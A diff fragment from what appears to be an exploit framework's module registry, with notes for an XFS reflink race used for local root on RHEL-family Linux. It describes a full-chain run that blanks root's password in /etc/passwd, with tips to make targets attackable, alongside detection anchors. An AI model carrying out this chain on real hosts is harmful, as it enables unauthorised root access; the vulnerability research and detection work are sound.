verified: "2026-07-23 — CONFIRMED END-TO-END (full root pop) on Rocky Linux 9.8 / 5.14.0-687.10.1.el9_8.0.1.x86_64, qemu/KVM, 6 vCPUs. The corpus's FIRST rpm-family verification. FULL CHAIN: `--exploit refluxfs --i-know --full-chain` reflink-cloned /etc/passwd, raced the CoW window, stripped root's password field on-disk (root:x: -> root::), evicted the stale page cache, and returned EXPLOIT_OK; `su root` (empty password) then gave uid=0 — 3/3 wins on a private-extent target (1244/3716/7913 rounds, 4-30 s) as unprivileged uid=1000 under SELinux Enforcing, every other passwd line preserved, file backed up + restored via `--cleanup`. PRIVATE-EXTENT PRECONDITION (found here, not in the writeup): the race only fires when the target's extent refcount is exactly the attacker-clone pair, i.e. the extent must be PRIVATE going in. Stock Rocky 9's /etc/passwd ships PRE-SHARED (refcount>1 in the base image) and was NOT attackable across ~41,000 rounds; rewriting it so the extent became private (byte-identical content, as any useradd/passwd/vipw does) made it fall in ~2,000 rounds. So the exploitable state is the normal administered state. detect() --active reports the target's extent state. Provisioner note for re-verification: after boot, run `cp --reflink=never /etc/passwd /root/pw && cp --reflink=never /root/pw /etc/passwd` (or just `passwd`/`useradd` anything) to move /etc/passwd to a private extent, then run the full chain. Plain --exploit (no --full-chain) runs only the safe own-files trigger (EXPLOIT_FAIL). Stock GenericCloud layout needed NO provisioner changes: root is /dev/vda4 XFS with reflink=1 out of the box, which is exactly why this CVE hits the RHEL family so broadly. Results: detect() -> VULNERABLE (found writable XFS at /var/tmp); the rpm-family vendor-backport caveat fired correctly; `--active` FICLONE witness -> reflink CONFIRMED; phase A observed FIEMAP_EXTENT_SHARED on a real shared extent (note: btrfs never reported that flag during host-side testing, XFS does — which is why the module treats FICLONE success, not FIEMAP, as the authoritative gate); O_DIRECT available; scratch dir self-cleaned with no artifacts; the source also built clean on el9 gcc. The SHIPPED trigger (8 writers / 2 helpers / 16 rounds / 2s) ran and did NOT win — that is INTENDED under-driving, not a defect. THE UNDERLYING BUG WAS SEPARATELY CONFIRMED WINNABLE on this kernel via the VM-only harness tools/verify-vm/refluxfs_verify.c, driven at the public PoC's parameters (32 writers / 8 helpers, 60s budget): 4/4 runs won, first divergence after 69, 114, 170 and 494 rounds — a racing O_DIRECT write landed on a still-shared block and rewrote the donor's on-disk bytes, i.e. the arbitrary-overwrite primitive observed directly, contained to files the test user owned. No oops, no dmesg output, no instability — consistent with a data-oriented bug. Takeaway for future sweeps: a non-win from the shipped trigger must NEVER be recorded as 'patched'; trust the version gate and the vendor erratum."
|
||||||
notes: "CVE-2026-64600 'RefluXFS'; XFS reflink CoW ILOCK-cycling TOCTOU race (Qualys TRU, Saeed Abbasi; advisory credits model-assisted analysis with Anthropic; video PoC on RHEL 10.2). Introduced 4.11 (3c68d44a2b49, direct-I/O CoW alloc in iomap_begin); fixed 2f4acd0fcd86 (mainline 7.2-rc4, merged 2026-07-16), stable backports 7.1.4 / 6.18.39 / 6.12.96; the 6.6/6.1/5.15/5.14/5.10/4.19/4.18 lines have no upstream stable fix. PROVISIONER REQUIREMENT — unlike every other module in this matrix, detect() has a STORAGE precondition, and all five boxes here are Debian/Ubuntu with ext4 roots, so a stock box correctly returns PRECOND_FAIL. To exercise the VULNERABLE path the provisioner must create a reflink-enabled XFS volume the unprivileged user can write to, e.g.: `truncate -s 2G /var/tmp/xfs.img && mkfs.xfs -m reflink=1 /var/tmp/xfs.img && mkdir -p /mnt/xfs && mount -o loop /var/tmp/xfs.img /mnt/xfs && chmod 1777 /mnt/xfs` (Ubuntu 22.04 ships xfsprogs 5.13, where reflink=1 is already the mkfs default). detect() finds it by scanning /proc/mounts for fstype xfs and confirming statfs() f_type == XFS_SUPER_MAGIC + write access — note it deliberately does NOT accept a successful FICLONE as proof, since btrfs implements FICLONE and is unaffected. Without the provisioner step, expect_detect is PRECOND_FAIL; with it, VULNERABLE. Both verdicts are worth recording. The version+precondition matrix is also covered by the 14 detect() unit rows in tests/test_detect.c (incl. 4.18/5.14 el8/el9 bases, the 6.13.0 'newer than some entries but not all' case, and the no-XFS PRECOND_FAIL row) driven via SKELETONKEY_XFS_ASSUME_REFLINK=1/0. IDEAL TARGET, NOT IN THIS MATRIX: a Rocky/Alma/CentOS Stream 9 box, where XFS+reflink is the INSTALLER default and no provisioner step is needed — that is the real affected population (RHEL/CentOS/Rocky/Alma/Oracle/CloudLinux 8-10, Fedora Server >= 31, Amazon Linux 2023) and is the reason this module ships unverified. Adding an rpm-family box to boxes/ is the follow-up. CAVEAT for any rpm-family sweep: those vendors backport WITHOUT bumping the upstream version (a patched el8 kernel still reports 4.18.0-*), so a VULNERABLE verdict there reflects the upstream base version only and must be reconciled against the RHSA/ELSA/ALSA/RLSA erratum — detect() prints that warning itself. exploit() forks a child that works ONLY inside a private mkdtemp scratch dir on two files it owns: it establishes a shared extent (FICLONE, corroborated by FIEMAP_EXTENT_SHARED) and an O_DIRECT gate, then races a HARD-BOUNDED 8 writers / 2 ftruncate+fdatasync helpers / 16 rounds / 2s and stops, reading the donor back with O_DIRECT (a buffered read would be served from the page cache the corruption bypasses) and reporting divergence honestly. DELIBERATELY UNDER-DRIVEN (public PoC uses 32 writers / 8 helpers) and it NEVER clones or targets a file it does not own — the /etc/passwd overwrite -> su -> root step persistently rewrites a system file on disk with no undo and is NOT bundled. Returns EXPLOIT_FAIL. Provisioner note — this is SAFER to run than the other reconstructed race triggers, not more dangerous: the bug corrupts file DATA, not kernel memory, so there is no oops/KASAN/panic path, and a won race damages 4 KiB of a scratch file the module then deletes. Safety rank 55. Detection: auditd/sigma anchor on ioctl request 0x40049409 (FICLONE) and openat O_DIRECT; the yara rule matches the on-disk artifact because FIM CANNOT see this attack (the write bypasses the victim inode, leaving mtime/ctime/size untouched). Sweep + trigger validation pending."
|
notes: "CVE-2026-64600 'RefluXFS'; XFS reflink CoW ILOCK-cycling TOCTOU race (Qualys TRU, Saeed Abbasi; advisory credits model-assisted analysis with Anthropic; video PoC on RHEL 10.2). Introduced 4.11 (3c68d44a2b49, direct-I/O CoW alloc in iomap_begin); fixed 2f4acd0fcd86 (mainline 7.2-rc4, merged 2026-07-16), stable backports 7.1.4 / 6.18.39 / 6.12.96; the 6.6/6.1/5.15/5.14/5.10/4.19/4.18 lines have no upstream stable fix. PROVISIONER REQUIREMENT — unlike every other module in this matrix, detect() has a STORAGE precondition, and all five boxes here are Debian/Ubuntu with ext4 roots, so a stock box correctly returns PRECOND_FAIL. To exercise the VULNERABLE path the provisioner must create a reflink-enabled XFS volume the unprivileged user can write to, e.g.: `truncate -s 2G /var/tmp/xfs.img && mkfs.xfs -m reflink=1 /var/tmp/xfs.img && mkdir -p /mnt/xfs && mount -o loop /var/tmp/xfs.img /mnt/xfs && chmod 1777 /mnt/xfs` (Ubuntu 22.04 ships xfsprogs 5.13, where reflink=1 is already the mkfs default). detect() finds it by scanning /proc/mounts for fstype xfs and confirming statfs() f_type == XFS_SUPER_MAGIC + write access — note it deliberately does NOT accept a successful FICLONE as proof, since btrfs implements FICLONE and is unaffected. Without the provisioner step, expect_detect is PRECOND_FAIL; with it, VULNERABLE. Both verdicts are worth recording. The version+precondition matrix is also covered by the 14 detect() unit rows in tests/test_detect.c (incl. 4.18/5.14 el8/el9 bases, the 6.13.0 'newer than some entries but not all' case, and the no-XFS PRECOND_FAIL row) driven via SKELETONKEY_XFS_ASSUME_REFLINK=1/0. IDEAL TARGET, NOT IN THIS MATRIX: a Rocky/Alma/CentOS Stream 9 box, where XFS+reflink is the INSTALLER default and no provisioner step is needed — that is the real affected population (RHEL/CentOS/Rocky/Alma/Oracle/CloudLinux 8-10, Fedora Server >= 31, Amazon Linux 2023) and is the reason this module ships unverified. Adding an rpm-family box to boxes/ is the follow-up. CAVEAT for any rpm-family sweep: those vendors backport WITHOUT bumping the upstream version (a patched el8 kernel still reports 4.18.0-*), so a VULNERABLE verdict there reflects the upstream base version only and must be reconciled against the RHSA/ELSA/ALSA/RLSA erratum — detect() prints that warning itself. exploit() forks a child that works ONLY inside a private mkdtemp scratch dir on two files it owns: it establishes a shared extent (FICLONE, corroborated by FIEMAP_EXTENT_SHARED) and an O_DIRECT gate, then races a HARD-BOUNDED 8 writers / 2 ftruncate+fdatasync helpers / 16 rounds / 2s and stops, reading the donor back with O_DIRECT (a buffered read would be served from the page cache the corruption bypasses) and reporting divergence honestly. DELIBERATELY UNDER-DRIVEN (public PoC uses 32 writers / 8 helpers) and it NEVER clones or targets a file it does not own — the /etc/passwd overwrite -> su -> root step persistently rewrites a system file on disk with no undo and is NOT bundled. Returns EXPLOIT_FAIL. Provisioner note — this is SAFER to run than the other reconstructed race triggers, not more dangerous: the bug corrupts file DATA, not kernel memory, so there is no oops/KASAN/panic path, and a won race damages 4 KiB of a scratch file the module then deletes. Safety rank 55. Detection: auditd/sigma anchor on ioctl request 0x40049409 (FICLONE) and openat O_DIRECT; the yara rule matches the on-disk artifact because FIM CANNOT see this attack (the write bypasses the victim inode, leaving mtime/ctime/size untouched). Sweep + trigger validation pending."
|
||||||
|
|
||||||
# ── ghostlock (CVE-2026-43499) addition ─────────────────────────────
|
# ── ghostlock (CVE-2026-43499) addition ─────────────────────────────
|
||||||
|
|||||||
Reference in New Issue
Block a user